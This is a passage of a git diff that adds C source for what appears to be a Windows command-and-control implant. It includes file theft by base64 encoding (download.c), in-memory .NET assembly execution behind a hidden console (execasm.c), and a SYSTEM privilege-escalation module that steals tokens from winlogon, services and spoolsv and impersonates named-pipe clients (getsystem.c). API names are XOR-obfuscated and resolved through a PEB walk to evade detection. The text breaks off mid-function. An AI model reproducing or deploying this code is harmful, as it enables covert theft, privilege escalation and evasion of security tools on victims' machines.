+ free(out);
+ return NULL;
+ }
+ return out;
+}
diff --git a/agent/src/commands/download.c b/agent/src/commands/download.c
new file mode 100644
index 0000000..8855601
--- /dev/null
+++ b/agent/src/commands/download.c
@@ -0,0 +1,90 @@
+#include "commands.h"
+#include "crypto.h"
+#include
+#include
+#include
+#include
+
+int cmd_download(const char *local_path, char *output_buf, size_t output_size)
+{
+ if (!local_path || !output_buf) return -1;
+
+ HANDLE fh = CreateFileA(
+ local_path,
+ GENERIC_READ,
+ FILE_SHARE_READ,
+ NULL,
+ OPEN_EXISTING,
+ FILE_ATTRIBUTE_NORMAL,
+ NULL
+ );
+
+ if (fh == INVALID_HANDLE_VALUE) {
+ snprintf(output_buf, output_size,
+ "[download] Cannot open %s: error %lu\n",
+ local_path, GetLastError());
+ return -1;
+ }
+
+ LARGE_INTEGER file_size_li;
+ if (!GetFileSizeEx(fh, &file_size_li)) {
+ CloseHandle(fh);
+ snprintf(output_buf, output_size, "[download] GetFileSizeEx failed\n");
+ return -1;
+ }
+
+ LONGLONG file_size = file_size_li.QuadPart;
+
+ size_t max_raw = (output_size - 64) * 3 / 4;
+ if ((LONGLONG)max_raw < file_size) {
+ snprintf(output_buf, output_size,
+ "[download] File too large (%lld bytes, max %zu). "
+ "Use chunked download.\n",
+ file_size, max_raw);
+ CloseHandle(fh);
+ return -1;
+ }
+
+ uint8_t *raw = malloc((size_t)file_size);
+ if (!raw) {
+ CloseHandle(fh);
+ snprintf(output_buf, output_size, "[download] malloc failed\n");
+ return -1;
+ }
+
+ DWORD bytes_read = 0;
+ BOOL ok = ReadFile(fh, raw, (DWORD)file_size, &bytes_read, NULL);
+ CloseHandle(fh);
+
+ if (!ok || bytes_read != (DWORD)file_size) {
+ free(raw);
+ snprintf(output_buf, output_size, "[download] ReadFile failed: %lu\n",
+ GetLastError());
+ return -1;
+ }
+
+ char *b64 = base64_encode(raw, (size_t)file_size);
+ free(raw);
+
+ if (!b64) {
+ snprintf(output_buf, output_size, "[download] base64_encode failed\n");
+ return -1;
+ }
+
+ /* Output format: "[download] path:\n" */
+ int hdr_len = snprintf(output_buf, output_size,
+ "[download] path:%s\n", local_path);
+ if (hdr_len < 0 || (size_t)hdr_len >= output_size) {
+ free(b64);
+ return -1;
+ }
+
+ size_t b64_len = strlen(b64);
+ size_t avail = output_size - (size_t)hdr_len - 1;
+ if (b64_len > avail) b64_len = avail;
+
+ memcpy(output_buf + hdr_len, b64, b64_len);
+ output_buf[hdr_len + b64_len] = '\0';
+ free(b64);
+ return 0;
+}
diff --git a/agent/src/commands/execasm.c b/agent/src/commands/execasm.c
new file mode 100644
index 0000000..de63cab
--- /dev/null
+++ b/agent/src/commands/execasm.c
@@ -0,0 +1,312 @@
+#define COBJMACROS
+#define INITGUID
+#include "commands.h"
+#include "crypto.h"
+#include "evs_strings.h"
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+typedef HRESULT(STDAPICALLTYPE *CorBind_t)(
+ LPCWSTR pwszVersion, LPCWSTR pwszBuildFlavor,
+ DWORD dwStartupFlags, REFCLSID rclsid, REFIID riid, LPVOID *ppv);
+
+static HRESULT _disp0(IDispatch *p, LPCOLESTR name, VARIANT *out)
+{
+ DISPID did = 0;
+ HRESULT hr = p->lpVtbl->GetIDsOfNames(p, &IID_NULL,
+ (LPOLESTR *)&name, 1, LOCALE_USER_DEFAULT, &did);
+ if (FAILED(hr))
+ return hr;
+ DISPPARAMS dp = {NULL, NULL, 0, 0};
+ if (out)
+ VariantInit(out);
+ return p->lpVtbl->Invoke(p, did, &IID_NULL, LOCALE_USER_DEFAULT,
+ DISPATCH_METHOD | DISPATCH_PROPERTYGET,
+ &dp, out, NULL, NULL);
+}
+
+static HRESULT _disp1(IDispatch *p, LPCOLESTR name, VARIANT *arg, VARIANT *out)
+{
+ DISPID did = 0;
+ HRESULT hr = p->lpVtbl->GetIDsOfNames(p, &IID_NULL,
+ (LPOLESTR *)&name, 1, LOCALE_USER_DEFAULT, &did);
+ if (FAILED(hr))
+ return hr;
+ DISPPARAMS dp = {arg, NULL, 1, 0};
+ if (out)
+ VariantInit(out);
+ return p->lpVtbl->Invoke(p, did, &IID_NULL, LOCALE_USER_DEFAULT,
+ DISPATCH_METHOD | DISPATCH_PROPERTYGET,
+ &dp, out, NULL, NULL);
+}
+
+static HRESULT _disp_invoke3(IDispatch *p, VARIANT *vObj, VARIANT *vParams, VARIANT *out)
+{
+ DISPID did = 0;
+ LPCOLESTR name = L"Invoke_3";
+ HRESULT hr = p->lpVtbl->GetIDsOfNames(p, &IID_NULL,
+ (LPOLESTR *)&name, 1, LOCALE_USER_DEFAULT, &did);
+ if (FAILED(hr))
+ return hr;
+ VARIANT args[2];
+ args[0] = *vParams;
+ args[1] = *vObj;
+ DISPPARAMS dp = {args, NULL, 2, 0};
+ if (out)
+ VariantInit(out);
+ return p->lpVtbl->Invoke(p, did, &IID_NULL, LOCALE_USER_DEFAULT,
+ DISPATCH_METHOD, &dp, out, NULL, NULL);
+}
+
+static size_t _read_pipe(HANDLE hPipe, char *buf, size_t bufsz)
+{
+ size_t off = 0;
+ DWORD got = 0;
+ while (off < bufsz - 1)
+ {
+ DWORD avail = 0;
+ if (!PeekNamedPipe(hPipe, NULL, 0, NULL, &avail, NULL) || avail == 0)
+ {
+ /* wait briefly and retry once */
+ Sleep(50);
+ if (!PeekNamedPipe(hPipe, NULL, 0, NULL, &avail, NULL) || avail == 0)
+ break;
+ }
+ DWORD to_read = (avail < (DWORD)(bufsz - 1 - off))
+ ? avail
+ : (DWORD)(bufsz - 1 - off);
+ if (!ReadFile(hPipe, buf + off, to_read, &got, NULL))
+ break;
+ off += got;
+ }
+ buf[off] = '\0';
+ return off;
+}
+
+int cmd_execasm(const uint8_t *asm_bytes, size_t asm_len,
+ const char *args_str,
+ char *output_buf, size_t output_size)
+{
+ if (!asm_bytes || !asm_len || !output_buf || output_size < 128)
+ return -1;
+ output_buf[0] = '\0';
+
+ SECURITY_ATTRIBUTES sa = {sizeof(sa), NULL, TRUE};
+ HANDLE hRead = NULL, hWrite = NULL;
+ if (!CreatePipe(&hRead, &hWrite, &sa, 0))
+ {
+ snprintf(output_buf, output_size,
+ "[execasm] CreatePipe: %lu\n", GetLastError());
+ return -1;
+ }
+ SetHandleInformation(hRead, HANDLE_FLAG_INHERIT, 0);
+
+ AllocConsole();
+ HWND hwcon = GetConsoleWindow();
+ if (hwcon)
+ ShowWindow(hwcon, SW_HIDE);
+
+ HANDLE hOldOut = GetStdHandle(STD_OUTPUT_HANDLE);
+ HANDLE hOldErr = GetStdHandle(STD_ERROR_HANDLE);
+ SetStdHandle(STD_OUTPUT_HANDLE, hWrite);
+ SetStdHandle(STD_ERROR_HANDLE, hWrite);
+
+ HRESULT hr = E_FAIL;
+ int ret = -1;
+
+ char _dm[12], _fc[20];
+ EVS_D(_dm, EVS_dll_mscoree); EVS_D(_fc, EVS_fn_CorBindToRuntimeEx);
+ HMODULE hMscoree = LoadLibraryA(_dm);
+ SecureZeroMemory(_dm, sizeof(_dm));
+ if (!hMscoree)
+ {
+ SecureZeroMemory(_fc, sizeof(_fc));
+ snprintf(output_buf, output_size, "[execasm] clr host missing\n");
+ goto restore;
+ }
+
+ CorBind_t pCorBind = (CorBind_t)(void *)GetProcAddress(hMscoree, _fc);
+ SecureZeroMemory(_fc, sizeof(_fc));
+ if (!pCorBind)
+ {
+ snprintf(output_buf, output_size, "[execasm] CorBindToRuntimeEx missing\n");
+ FreeLibrary(hMscoree);
+ goto restore;
+ }
+
+ ICorRuntimeHost *pHost = NULL;
+ hr = pCorBind(L"v4.0.30319", L"wks", 0,
+ &CLSID_CorRuntimeHost, &IID_ICorRuntimeHost, (void **)&pHost);
+ if (FAILED(hr))
+ hr = pCorBind(NULL, L"wks", 0,
+ &CLSID_CorRuntimeHost, &IID_ICorRuntimeHost, (void **)&pHost);
+
+ if (FAILED(hr) || !pHost)
+ {
+ snprintf(output_buf, output_size,
+ "[execasm] CorBind: 0x%08lx\n", (unsigned long)hr);
+ FreeLibrary(hMscoree);
+ goto restore;
+ }
+
+ hr = ICorRuntimeHost_Start(pHost);
+ /* 0x80131041 = HOST_E_ALREADY_STARTED — not an error */
+ if (FAILED(hr) && hr != (HRESULT)0x80131041UL)
+ {
+ snprintf(output_buf, output_size,
+ "[execasm] CLR Start: 0x%08lx\n", (unsigned long)hr);
+ ICorRuntimeHost_Release(pHost);
+ FreeLibrary(hMscoree);
+ goto restore;
+ }
+
+ IUnknown *pDomUnk = NULL;
+ IDispatch *pAppDomain = NULL;
+ IDispatch *pAssembly = NULL;
+ IDispatch *pEntryPt = NULL;
+ SAFEARRAY *pAsmSA = NULL;
+ VARIANT vAsmArg, vAssembly, vEP, vObj, vParams, vRet;
+
+ hr = ICorRuntimeHost_GetDefaultDomain(pHost, &pDomUnk);
+ if (FAILED(hr) || !pDomUnk)
+ {
+ snprintf(output_buf, output_size,
+ "[execasm] GetDefaultDomain: 0x%08lx\n", (unsigned long)hr);
+ goto clr_stop;
+ }
+ pDomUnk->lpVtbl->QueryInterface(pDomUnk, &IID_IDispatch, (void **)&pAppDomain);
+ pDomUnk->lpVtbl->Release(pDomUnk);
+
+ if (!pAppDomain)
+ {
+ snprintf(output_buf, output_size, "[execasm] QI IDispatch (AppDomain)\n");
+ goto clr_stop;
+ }
+
+ {
+ SAFEARRAYBOUND sab = {(ULONG)asm_len, 0};
+ pAsmSA = SafeArrayCreate(VT_UI1, 1, &sab);
+ if (!pAsmSA)
+ {
+ snprintf(output_buf, output_size, "[execasm] SafeArrayCreate\n");
+ goto clr_stop;
+ }
+ void *pData = NULL;
+ SafeArrayAccessData(pAsmSA, &pData);
+ memcpy(pData, asm_bytes, asm_len);
+ SafeArrayUnaccessData(pAsmSA);
+ }
+
+ VariantInit(&vAsmArg);
+ vAsmArg.vt = VT_ARRAY | VT_UI1;
+ vAsmArg.parray = pAsmSA;
+
+ hr = _disp1(pAppDomain, L"Load_3", &vAsmArg, &vAssembly);
+ VariantClear(&vAsmArg);
+ pAppDomain->lpVtbl->Release(pAppDomain);
+ pAppDomain = NULL;
+
+ if (FAILED(hr) || vAssembly.vt != VT_DISPATCH || !vAssembly.pdispVal)
+ {
+ snprintf(output_buf, output_size,
+ "[execasm] AppDomain.Load_3: 0x%08lx\n", (unsigned long)hr);
+ goto clr_stop;
+ }
+ pAssembly = vAssembly.pdispVal;
+
+ hr = _disp0(pAssembly, L"get_EntryPoint", &vEP);
+ pAssembly->lpVtbl->Release(pAssembly);
+ pAssembly = NULL;
+
+ if (FAILED(hr) || vEP.vt != VT_DISPATCH || !vEP.pdispVal)
+ {
+ snprintf(output_buf, output_size,
+ "[execasm] get_EntryPoint: 0x%08lx (no static Main?)\n",
+ (unsigned long)hr);
+ goto clr_stop;
+ }
+ pEntryPt = vEP.pdispVal;
+
+ VariantInit(&vObj);
+ vObj.vt = VT_NULL;
+ VariantInit(&vParams);
+ vParams.vt = VT_NULL;
+
+ if (args_str && args_str[0])
+ {
+ char *dup = _strdup(args_str);
+ int nargs = 0;
+ char *tok = strtok(dup, " \t");
+ while (tok)
+ {
+ nargs++;
+ tok = strtok(NULL, " \t");
+ }
+ free(dup);
+
+ if (nargs > 0)
+ {
+ SAFEARRAYBOUND sb = {(ULONG)nargs, 0};
+ SAFEARRAY *pStrSA = SafeArrayCreate(VT_VARIANT, 1, &sb);
+ dup = _strdup(args_str);
+ long i = 0;
+ tok = strtok(dup, " \t");
+ while (tok && i < nargs)
+ {
+ VARIANT vs;
+ VariantInit(&vs);
+ vs.vt = VT_BSTR;
+ int wlen = MultiByteToWideChar(CP_ACP, 0, tok, -1, NULL, 0);
+ vs.bstrVal = SysAllocStringLen(NULL, (UINT)(wlen - 1));
+ MultiByteToWideChar(CP_ACP, 0, tok, -1, vs.bstrVal, wlen);
+ SafeArrayPutElement(pStrSA, &i, &vs);
+ VariantClear(&vs);
+ i++;
+ tok = strtok(NULL, " \t");
+ }
+ free(dup);
+ vParams.vt = VT_ARRAY | VT_VARIANT;
+ vParams.parray = pStrSA;
+ }
+ }
+
+ VariantInit(&vRet);
+ hr = _disp_invoke3(pEntryPt, &vObj, &vParams, &vRet);
+ VariantClear(&vParams);
+ VariantClear(&vRet);
+ pEntryPt->lpVtbl->Release(pEntryPt);
+ pEntryPt = NULL;
+
+ ret = (SUCCEEDED(hr) || hr == (HRESULT)0x80131604UL) ? 0 : -1;
+ if (ret != 0)
+ snprintf(output_buf, output_size,
+ "[execasm] Invoke_3: 0x%08lx\n", (unsigned long)hr);
+
+clr_stop:
+ ICorRuntimeHost_Stop(pHost);
+ ICorRuntimeHost_Release(pHost);
+ FreeLibrary(hMscoree);
+
+restore:
+ SetStdHandle(STD_OUTPUT_HANDLE, hOldOut);
+ SetStdHandle(STD_ERROR_HANDLE, hOldErr);
+ CloseHandle(hWrite);
+ FreeConsole();
+
+ {
+ size_t off = strlen(output_buf);
+ size_t avail = output_size > off ? output_size - off - 1 : 0;
+ if (avail > 0)
+ off += _read_pipe(hRead, output_buf + off, avail + 1);
+ if (off == 0)
+ snprintf(output_buf, output_size, "(no output)\n");
+ }
+
+ CloseHandle(hRead);
+ return ret;
+}
diff --git a/agent/src/commands/fs.c b/agent/src/commands/fs.c
new file mode 100644
index 0000000..7227578
--- /dev/null
+++ b/agent/src/commands/fs.c
@@ -0,0 +1,186 @@
+/*
+ * fs.c — filesystem commands: ls, mkdir, rm, cp, mv
+ */
+#include "commands.h"
+#include
+#include
+#include
+#include
+
+/* internal helpers */
+
+static void _ftime_str(const FILETIME *ft, char *buf, size_t sz)
+{
+ SYSTEMTIME st;
+ FILETIME local;
+ FileTimeToLocalFileTime(ft, &local);
+ FileTimeToSystemTime(&local, &st);
+ snprintf(buf, sz, "%04u-%02u-%02u %02u:%02u",
+ (unsigned)st.wYear, (unsigned)st.wMonth,
+ (unsigned)st.wDay, (unsigned)st.wHour,
+ (unsigned)st.wMinute);
+}
+
+/* return 1 if path is an existing directory */
+static int _is_dir(const char *path)
+{
+ DWORD attr = GetFileAttributesA(path);
+ return (attr != INVALID_FILE_ATTRIBUTES) &&
+ (attr & FILE_ATTRIBUTE_DIRECTORY);
+}
+
+/* list directory contents */
+
+int cmd_ls(const char *path, char *output_buf, size_t output_size)
+{
+ char pattern[MAX_PATH];
+
+ if (!path || !path[0])
+ path = ".";
+
+ /* append \* if path is a directory with no wildcard */
+ if (!strchr(path, '*') && !strchr(path, '?') && _is_dir(path)) {
+ size_t plen = strlen(path);
+ if (plen + 3 >= sizeof(pattern)) {
+ snprintf(output_buf, output_size, "[ls] path too long\n");
+ return -1;
+ }
+ memcpy(pattern, path, plen);
+ pattern[plen] = '\\';
+ pattern[plen+1] = '*';
+ pattern[plen+2] = '\0';
+ } else {
+ strncpy(pattern, path, sizeof(pattern) - 1);
+ pattern[sizeof(pattern) - 1] = '\0';
+ }
+
+ WIN32_FIND_DATAA fd;
+ HANDLE h = FindFirstFileA(pattern, &fd);
+ if (h == INVALID_HANDLE_VALUE) {
+ snprintf(output_buf, output_size,
+ "[ls] %s: %lu\n", path, GetLastError());
+ return -1;
+ }
+
+ /* column header */
+ size_t pos = 0;
+ int n = snprintf(output_buf + pos, output_size - pos,
+ "%-1s %-16s %12s %s\n",
+ "T", "Date modified", "Size", "Name");
+ if (n > 0) pos += (size_t)n;
+
+ do {
+ if (strcmp(fd.cFileName, ".") == 0 || strcmp(fd.cFileName, "..") == 0)
+ continue;
+
+ int is_dir = (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != 0;
+ char date[32];
+ _ftime_str(&fd.ftLastWriteTime, date, sizeof(date));
+
+ ULONGLONG size_bytes = ((ULONGLONG)fd.nFileSizeHigh << 32) | fd.nFileSizeLow;
+
+ if (is_dir)
+ n = snprintf(output_buf + pos, output_size - pos,
+ "d %-16s %12s %s\n",
+ date, "", fd.cFileName);
+ else
+ n = snprintf(output_buf + pos, output_size - pos,
+ "f %-16s %12llu %s\n",
+ date, size_bytes, fd.cFileName);
+
+ if (n > 0 && (size_t)n < output_size - pos)
+ pos += (size_t)n;
+ else
+ break; /* buffer full */
+
+ } while (FindNextFileA(h, &fd));
+
+ FindClose(h);
+ return 0;
+}
+
+/* create a directory */
+
+int cmd_mkdir(const char *path, char *output_buf, size_t output_size)
+{
+ if (!path || !path[0]) {
+ snprintf(output_buf, output_size, "[mkdir] usage: mkdir \n");
+ return -1;
+ }
+ if (CreateDirectoryA(path, NULL)) {
+ snprintf(output_buf, output_size, "[mkdir] created: %s\n", path);
+ return 0;
+ }
+ DWORD err = GetLastError();
+ if (err == ERROR_ALREADY_EXISTS) {
+ snprintf(output_buf, output_size, "[mkdir] already exists: %s\n", path);
+ return 0;
+ }
+ snprintf(output_buf, output_size,
+ "[mkdir] failed: %s err=%lu\n", path, err);
+ return -1;
+}
+
+/* delete a file or empty directory */
+
+int cmd_rm(const char *path, char *output_buf, size_t output_size)
+{
+ if (!path || !path[0]) {
+ snprintf(output_buf, output_size, "[rm] usage: rm \n");
+ return -1;
+ }
+ DWORD attr = GetFileAttributesA(path);
+ if (attr == INVALID_FILE_ATTRIBUTES) {
+ snprintf(output_buf, output_size,
+ "[rm] not found: %s\n", path);
+ return -1;
+ }
+
+ BOOL ok;
+ if (attr & FILE_ATTRIBUTE_DIRECTORY)
+ ok = RemoveDirectoryA(path);
+ else
+ ok = DeleteFileA(path);
+
+ if (ok) {
+ snprintf(output_buf, output_size, "[rm] deleted: %s\n", path);
+ return 0;
+ }
+ snprintf(output_buf, output_size,
+ "[rm] failed: %s err=%lu\n", path, GetLastError());
+ return -1;
+}
+
+/* ---- cp ---- */
+
+int cmd_cp(const char *src, const char *dst, char *output_buf, size_t output_size)
+{
+ if (!src || !src[0] || !dst || !dst[0]) {
+ snprintf(output_buf, output_size, "[cp] usage: cp \n");
+ return -1;
+ }
+ if (CopyFileA(src, dst, FALSE)) {
+ snprintf(output_buf, output_size, "[cp] %s -> %s\n", src, dst);
+ return 0;
+ }
+ snprintf(output_buf, output_size,
+ "[cp] failed: %s -> %s err=%lu\n", src, dst, GetLastError());
+ return -1;
+}
+
+/* ---- mv ---- */
+
+int cmd_mv(const char *src, const char *dst, char *output_buf, size_t output_size)
+{
+ if (!src || !src[0] || !dst || !dst[0]) {
+ snprintf(output_buf, output_size, "[mv] usage: mv \n");
+ return -1;
+ }
+ if (MoveFileExA(src, dst, MOVEFILE_REPLACE_EXISTING | MOVEFILE_COPY_ALLOWED)) {
+ snprintf(output_buf, output_size, "[mv] %s -> %s\n", src, dst);
+ return 0;
+ }
+ snprintf(output_buf, output_size,
+ "[mv] failed: %s -> %s err=%lu\n", src, dst, GetLastError());
+ return -1;
+}
diff --git a/agent/src/commands/getpid.c b/agent/src/commands/getpid.c
new file mode 100644
index 0000000..1612724
--- /dev/null
+++ b/agent/src/commands/getpid.c
@@ -0,0 +1,48 @@
+#include
+#include
+#include
+#include
+
+int cmd_getpid(const char *name, char *out, size_t sz)
+{
+ if (!name || !name[0]) {
+ snprintf(out, sz, "[getpid] usage: getpid \n");
+ return -1;
+ }
+
+ HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+ if (snap == INVALID_HANDLE_VALUE) {
+ snprintf(out, sz, "[getpid] snapshot failed: %lu\n", GetLastError());
+ return -1;
+ }
+
+ PROCESSENTRY32 pe = { sizeof(pe) };
+ size_t off = 0;
+ int found = 0;
+
+ /* build name_exe: append .exe if not already present */
+ char name_exe[MAX_PATH];
+ strncpy(name_exe, name, sizeof(name_exe) - 5);
+ name_exe[sizeof(name_exe) - 5] = '\0';
+ size_t nlen = strlen(name_exe);
+ if (nlen < 4 || _stricmp(name_exe + nlen - 4, ".exe") != 0)
+ strcat(name_exe, ".exe");
+
+ if (Process32First(snap, &pe)) do {
+ if (_stricmp(pe.szExeFile, name) == 0 ||
+ _stricmp(pe.szExeFile, name_exe) == 0) {
+ int n = snprintf(out + off, sz - off, "%lu\t%s\n",
+ (unsigned long)pe.th32ProcessID, pe.szExeFile);
+ if (n > 0) off += (size_t)n;
+ found++;
+ }
+ } while (Process32Next(snap, &pe) && off < sz - 1);
+
+ CloseHandle(snap);
+
+ if (!found) {
+ snprintf(out, sz, "[getpid] no process named '%s'\n", name);
+ return -1;
+ }
+ return 0;
+}
diff --git a/agent/src/commands/getsystem.c b/agent/src/commands/getsystem.c
new file mode 100644
index 0000000..91ed47f
--- /dev/null
+++ b/agent/src/commands/getsystem.c
@@ -0,0 +1,560 @@
+#include "evasion.h"
+#include "inject.h"
+#include "beacon.h"
+#include "evs_strings.h"
+#include "peb_walk.h"
+#include "adv_lazy.h"
+#include
+#include
+#include
+#include
+#include
+
+/* GetComputerNameW */
+typedef BOOL(WINAPI *_GCNW_t)(LPWSTR, LPDWORD);
+static BOOL _gcnw(LPWSTR buf, LPDWORD sz)
+{
+ static _GCNW_t fn = NULL;
+ if (!fn)
+ {
+ char fs[20], ks[14];
+ volatile unsigned char xk = EVS_KEY;
+ for (int i = 0; i < (int)sizeof(EVS_fn_GetComputerNameW); i++)
+ fs[i] = (char)(EVS_fn_GetComputerNameW[i] ^ xk);
+ fs[sizeof(EVS_fn_GetComputerNameW)] = '\0';
+ for (int i = 0; i < (int)sizeof(EVS_dll_kernel32); i++)
+ ks[i] = (char)(EVS_dll_kernel32[i] ^ xk);
+ ks[sizeof(EVS_dll_kernel32)] = '\0';
+ HMODULE m = _peb_module(ks);
+ SecureZeroMemory(ks, sizeof(ks));
+ if (m)
+ fn = (_GCNW_t)(void *)GetProcAddress(m, fs);
+ SecureZeroMemory(fs, sizeof(fs));
+ }
+ return fn ? fn(buf, sz) : FALSE;
+}
+
+/* All advapi32 / kernel32 token/pipe APIs resolved at runtime. */
+typedef BOOL(WINAPI *fn_OpenProcessToken_t)(HANDLE, DWORD, PHANDLE);
+typedef BOOL(WINAPI *fn_OpenThreadToken_t)(HANDLE, DWORD, BOOL, PHANDLE);
+typedef BOOL(WINAPI *fn_DuplicateTokenEx_t)(HANDLE, DWORD, LPSECURITY_ATTRIBUTES, SECURITY_IMPERSONATION_LEVEL, TOKEN_TYPE, PHANDLE);
+typedef BOOL(WINAPI *fn_GetTokenInformation_t)(HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD);
+typedef BOOL(WINAPI *fn_SetThreadToken_t)(PHANDLE, HANDLE);
+typedef BOOL(WINAPI *fn_RevertToSelf_t)(void);
+typedef BOOL(WINAPI *fn_LookupPrivilegeValueA_t)(LPCSTR, LPCSTR, PLUID);
+typedef BOOL(WINAPI *fn_PrivilegeCheck_t)(HANDLE, PPRIVILEGE_SET, LPBOOL);
+typedef BOOL(WINAPI *fn_AllocateAndInitializeSid_t)(PSID_IDENTIFIER_AUTHORITY, BYTE, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, PSID *);
+typedef BOOL(WINAPI *fn_EqualSid_t)(PSID, PSID);
+typedef PVOID(WINAPI *fn_FreeSid_t)(PSID);
+typedef BOOL(WINAPI *fn_ImpersonateNamedPipeClient_t)(HANDLE);
+typedef HANDLE(WINAPI *fn_CreateNamedPipeA_t)(LPCSTR, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, LPSECURITY_ATTRIBUTES);
+typedef BOOL(WINAPI *fn_ConnectNamedPipe_t)(HANDLE, LPOVERLAPPED);
+typedef BOOL(WINAPI *fn_CreateProcessWithTokenW_t)(HANDLE, DWORD, LPCWSTR, LPWSTR, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION);
+typedef BOOL(WINAPI *fn_CreateProcessAsUserW_t)(HANDLE, LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION);
+
+typedef struct
+{
+ fn_OpenProcessToken_t OpenProcessToken;
+ fn_OpenThreadToken_t OpenThreadToken;
+ fn_DuplicateTokenEx_t DuplicateTokenEx;
+ fn_GetTokenInformation_t GetTokenInformation;
+ fn_SetThreadToken_t SetThreadToken;
+ fn_RevertToSelf_t RevertToSelf;
+ fn_LookupPrivilegeValueA_t LookupPrivilegeValueA;
+ fn_PrivilegeCheck_t PrivilegeCheck;
+ fn_AllocateAndInitializeSid_t AllocateAndInitializeSid;
+ fn_EqualSid_t EqualSid;
+ fn_FreeSid_t FreeSid;
+ fn_ImpersonateNamedPipeClient_t ImpersonateNamedPipeClient;
+ fn_CreateNamedPipeA_t CreateNamedPipeA;
+ fn_ConnectNamedPipe_t ConnectNamedPipe;
+ fn_CreateProcessWithTokenW_t CreateProcessWithTokenW;
+ fn_CreateProcessAsUserW_t CreateProcessAsUserW;
+} gs_api_t;
+
+static int _resolve_apis(gs_api_t *api)
+{
+ /* APIs already EVS-resolved by adv_lazy — reuse, no duplicate resolution */
+ const adv_api_t *adv = adv_get();
+ if (!adv) return -1;
+ api->OpenProcessToken = adv->OpenProcessToken;
+ api->OpenThreadToken = adv->OpenThreadToken;
+ api->DuplicateTokenEx = adv->DuplicateTokenEx;
+ api->LookupPrivilegeValueA = adv->LookupPrivilegeValueA;
+ api->RevertToSelf = adv->RevertToSelf;
+
+ /* Module handles via EVS-decoded names + PEB walk — no plaintext in binary */
+ char dll_a[13], dll_k[13];
+ EVS_D(dll_a, EVS_dll_advapi32);
+ EVS_D(dll_k, EVS_dll_kernel32);
+ HMODULE had = _peb_module(dll_a);
+ HMODULE hk32 = _peb_module(dll_k);
+ SecureZeroMemory(dll_a, sizeof(dll_a));
+ SecureZeroMemory(dll_k, sizeof(dll_k));
+ if (!had || !hk32) return -1;
+
+ /* Remaining APIs — EVS XOR bytes at rest, decoded to stack, cleared after use */
+ char fn[28];
+
+ EVS_D(fn, EVS_fn_GetTokenInformation);
+ api->GetTokenInformation = (fn_GetTokenInformation_t)(void *)GetProcAddress(had, fn);
+ SecureZeroMemory(fn, sizeof(fn));
+
+ EVS_D(fn, EVS_fn_SetThreadToken);
+ api->SetThreadToken = (fn_SetThreadToken_t)(void *)GetProcAddress(had, fn);
+ SecureZeroMemory(fn, sizeof(fn));
+
+ EVS_D(fn, EVS_fn_PrivilegeCheck);
+ api->PrivilegeCheck = (fn_PrivilegeCheck_t)(void *)GetProcAddress(had, fn);
+ SecureZeroMemory(fn, sizeof(fn));
+
+ EVS_D(fn, EVS_fn_AllocateAndInitializeSid);
+ api->AllocateAndInitializeSid = (fn_AllocateAndInitializeSid_t)(void *)GetProcAddress(had, fn);
+ SecureZeroMemory(fn, sizeof(fn));
+
+ EVS_D(fn, EVS_fn_EqualSid);
+ api->EqualSid = (fn_EqualSid_t)(void *)GetProcAddress(had, fn);
+ SecureZeroMemory(fn, sizeof(fn));
+
+ EVS_D(fn, EVS_fn_FreeSid);
+ api->FreeSid = (fn_FreeSid_t)(void *)GetProcAddress(had, fn);
+ SecureZeroMemory(fn, sizeof(fn));
+
+ EVS_D(fn, EVS_fn_ImpersonateNamedPipeClient);
+ api->ImpersonateNamedPipeClient = (fn_ImpersonateNamedPipeClient_t)(void *)GetProcAddress(had, fn);
+ SecureZeroMemory(fn, sizeof(fn));
+
+ EVS_D(fn, EVS_fn_CreateProcessWithTokenW);
+ api->CreateProcessWithTokenW = (fn_CreateProcessWithTokenW_t)(void *)GetProcAddress(had, fn);
+ SecureZeroMemory(fn, sizeof(fn));
+
+ EVS_D(fn, EVS_fn_CreateProcessAsUserW);
+ api->CreateProcessAsUserW = (fn_CreateProcessAsUserW_t)(void *)GetProcAddress(had, fn);
+ SecureZeroMemory(fn, sizeof(fn));
+
+ EVS_D(fn, EVS_fn_CreateNamedPipeA);
+ api->CreateNamedPipeA = (fn_CreateNamedPipeA_t)(void *)GetProcAddress(hk32, fn);
+ SecureZeroMemory(fn, sizeof(fn));
+
+ EVS_D(fn, EVS_fn_ConnectNamedPipe);
+ api->ConnectNamedPipe = (fn_ConnectNamedPipe_t)(void *)GetProcAddress(hk32, fn);
+ SecureZeroMemory(fn, sizeof(fn));
+
+ return (api->OpenProcessToken && api->DuplicateTokenEx &&
+ api->ImpersonateNamedPipeClient && api->CreateNamedPipeA)
+ ? 0 : -1;
+}
+
+static int _is_system_sid(gs_api_t *api, HANDLE hToken)
+{
+ BYTE buf[256];
+ DWORD cb = sizeof(buf);
+ if (!api->GetTokenInformation(hToken, TokenUser, buf, cb, &cb))
+ return 0;
+ TOKEN_USER *tu = (TOKEN_USER *)buf;
+ PSID sys = NULL;
+ SID_IDENTIFIER_AUTHORITY auth = SECURITY_NT_AUTHORITY;
+ if (!api->AllocateAndInitializeSid(&auth, 1, SECURITY_LOCAL_SYSTEM_RID,
+ 0, 0, 0, 0, 0, 0, 0, &sys))
+ return 0;
+ int r = api->EqualSid(tu->User.Sid, sys);
+ api->FreeSid(sys);
+ return r;
+}
+
+/* Method 1: token theft from a SYSTEM process */
+
+static int _steal_system_token(gs_api_t *api, HANDLE *out, char *buf, size_t sz)
+{
+ volatile unsigned char _k = EVS_KEY;
+ char t0[13], t1[13], t2[12], t3[10];
+ for (int _i = 0; _i < (int)sizeof(EVS_str_winlogon_exe); _i++)
+ t0[_i] = (char)(EVS_str_winlogon_exe[_i] ^ _k);
+ t0[sizeof(EVS_str_winlogon_exe)] = 0;
+ for (int _i = 0; _i < (int)sizeof(EVS_str_services_exe); _i++)
+ t1[_i] = (char)(EVS_str_services_exe[_i] ^ _k);
+ t1[sizeof(EVS_str_services_exe)] = 0;
+ for (int _i = 0; _i < (int)sizeof(EVS_str_spoolsv_exe); _i++)
+ t2[_i] = (char)(EVS_str_spoolsv_exe[_i] ^ _k);
